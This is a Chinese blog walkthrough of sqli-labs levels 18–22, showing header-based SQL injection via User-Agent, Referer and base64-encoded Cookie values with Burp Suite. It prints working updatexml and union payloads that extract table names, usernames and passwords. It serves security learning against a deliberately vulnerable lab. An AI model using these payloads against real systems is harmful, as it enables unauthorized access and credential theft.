sqli-lab靶场学习(六)——Less18-22(User-Agent、Referer、Cookie注入)

news/2025/2/13 3:36:55/

前言

前面的关卡,都是直接在输入框或者浏览器的地址栏上做文章即可。但本文这几关,需要用工具拦截请求修改请求头部才行。

Less18(User-Agent注入)

本关的注入点在User-Agent。我们在用户名和密码框中输入admin/admin后,会回显User-Agent的信息。注意这里只有输入了正确的密码才回回显。

PS:如果admin/admin密码不对,就去Less17那里改就行了~~~~

我们看一下源码,在less18目录下的index.php:

分析代码后,我们发现uagent这个变量获取的是user-agent的数据,而注入点在103行这里,输出页面反馈的在109行。

User-Agent的注入我们需要借助一些工具,可以使用postman或者burp suit等。这里我会使用burp suit操作。

没用过burp suit的读者先下载并打开临时项目。然后使用内嵌浏览器:

之后在内嵌浏览器中打开Less18的页面。

然后要打开拦截请求,拦截一会发送的请求:

接着在用户名框和密码框输入admin和admin

此时发现burp suit已经对请求进行拦截:

然后点击右键,选择“发送到repeater”,然后我们在重放器进行操作。

这里我们尝试吧User-Agent的内容改为:

' and updatexml(1,'~',3) and '

看到这里通过updatexml大法,已经通过user-agent回显了。后面可以按照Less7的思路把数据库和用户名那些爆破出来。

查找当前数据库名:

' or updatexml(1,concat(0x7e,(select database()),0x7e),3) or '

接着查询表,当limit到4时查到users表:

' or updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1)),3) or '

接着是查询列名,还是按照less7的思路,在limit到4、5时找到username和password:

' or updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 4,1)),3) or '
' or updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 5,1)),3) or '

最后是查出用户名密码,

' or updatexml(1,concat('~',(select username from security.users limit 0,1)),3) or '
' or updatexml(1,concat('~',(select password from security.users limit 0,1)),3) or '

Less19(Referer注入)

先输入用户名密码admin/admin

显示的是Refer的数据,所以考虑注入点和Referer有关。

同样先分析sqli-labs/less19/index.php源文件

与Less18不同的地方在于uagent变量获取的是Referer这个参数。所以操作方式和Less18是一摸一样的。

具体的操作参照Less18,语句完全一样,仅仅是把原来放在user-agent的改成放到referer那里就可以了。

Less20(Cookie注入)

输入用户名密码admin/admin之后:

这里显示了cookie,而且从这关的标题看,写的是cookie注入。所以很显然这关的目标涉及cookie。

 

分析代码后,我们看到147行显然是一个注入点。因为cookee这个变量直接从COOKIE那里获取uname数据,然后直接放到sql语句去执行,没有进行一些处理!

现在开始操作,基本参考Less1就可以了。我们在登录之后,刷新页面并用burp suit拦截请求,右键把请求发到重放器中,修改cookie的值,判断select的列数:

admin' order by 5 #

使用单引号闭合,然后order by看来select的列数。我们尝试5是失败的,最终尝试3时会成功:

admin' order by 3 #

接下来我们用联合注入方式:

' union select 1,2,3 #

看到联合注入的参数已经回显到前端。

接下来是查询库名:

' union select 1,database(),3 #

表名:

' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #

列名:

' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' #

 最后找出用户名密码:

Less21 

21关和20关差不多。我们看了拦截的请求,cookie是用base64编码过的

分析源码:

在146行是注入点,闭合方式是单引号+右括号。

语句基本和Less20差不多,就是闭合方式改变,并且要先用base64转码。比如查询数据库语句为:

') union select 1,database(),3 #

然后我们用base64转码,可以用在线方式,也可以自己写脚本,或者用离线工具koczkatamas等等。转码得到:

JykgdW5pb24gc2VsZWN0IDEsZGF0YWJhc2UoKSwzICM=

 其他查询也是类似的方式即可,不再赘述。

Less22

Less22和21差不多,都是cookie要做base64编码。区别是变成了双引号闭合,所以也不赘述。

小结

本文主要演示了请求头部的一些注入点,包括User-Agent、Referer和Cookie。其实现方式大同小异。但头部注入的操作比前面get和post会麻烦一些,需要拦截请求并修改头部信息。


http://www.ppmy.cn/news/1571599.html

相关文章

DeepSeek训练成本与技术揭秘

引言:在当今人工智能蓬勃发展的时代,DeepSeek 宛如一颗耀眼的新星,突然闯入大众视野,引发了全球范围内的热烈讨论。从其惊人的低成本训练模式,到高性能的模型表现,无一不让业界为之侧目。它打破了传统认知&…

快速上手——.net封装使用DeekSeek-V3 模型

📢欢迎点赞 :👍 收藏 ⭐留言 📝 如有错误敬请指正,赐人玫瑰,手留余香!📢本文作者:由webmote 原创📢作者格言:新的征程,用爱发电,去丈量人心,是否能达到人机合一?开工大吉 新的一年就这么水灵灵的开始了,在这里,祝各位读者新春快乐,万事如意! 新年伊…

datacom和网络安全的关联 网络安全与大数据

此前中央和信息化领导小组成立,以规格高、力度大、立意远来统筹指导中国迈向网络强国的发展战略。十三五规划《建议》提出,实施网络强国战略,加快构建高速、移动、安全、泛在的新一代信息基础设施。拓展网络经济空间。实施“互联网”行动计划…

LVGL4种输入设备详解(触摸、键盘、实体按键、编码器)

lvgl有触摸、键盘、实体按键、编码器四种输入设备 先来分析一下这四种输入设备有什么区别 (1)LV_INDEV_TYPE_POINTER 主要用于触摸屏 用到哪个输入设备保留哪个其他的也是,保留触摸屏输入的任务注册,其它几种种输入任务的注册&…

effective-Objective-C 第五章学习笔记

内存管理 文章目录 内存管理理解引用计数属性存取方法的内存管理自动释放池要点 以ARC简化引用计数使用ARC时必须遵循的方法命名规则变量的内存管理语义ARC清理实例变量覆写内存管理方法要点 在dealloc方法中只释放引用并解除监听要点 编写异常安全代码时留意内存管理问题要点 …

android的Lifecycle简介

嗯,我现在需要了解Android的Lifecycle组件。Lifecycle是Jetpack的一部分,对吧?听说它帮助管理Activity和Fragment的生命周期,避免内存泄漏。那它具体是怎么工作的呢? 首先,LifecycleOwner和LifecycleObser…

Spring中常见的设计模式

Spring框架是一个庞大的生态系统,设计模式的应用广泛分布在其各个模块中。以下是针对你提到的设计模式,在Spring源码中的具体应用位置: 单例模式(Singleton Pattern): 在org.springframework.beans.factory…

【AI知识点】大模型开源的各种级别和 deepseek 的开源级别

【AI论文解读】【AI知识点】【AI小项目】【AI战略思考】【AI日记】【读书与思考】【AI应用】 大模型开源的各种级别 大模型的“开源”程度不同,通常可以分为以下几个主要级别: 1. 权重不开源(Closed-source) 特点:仅…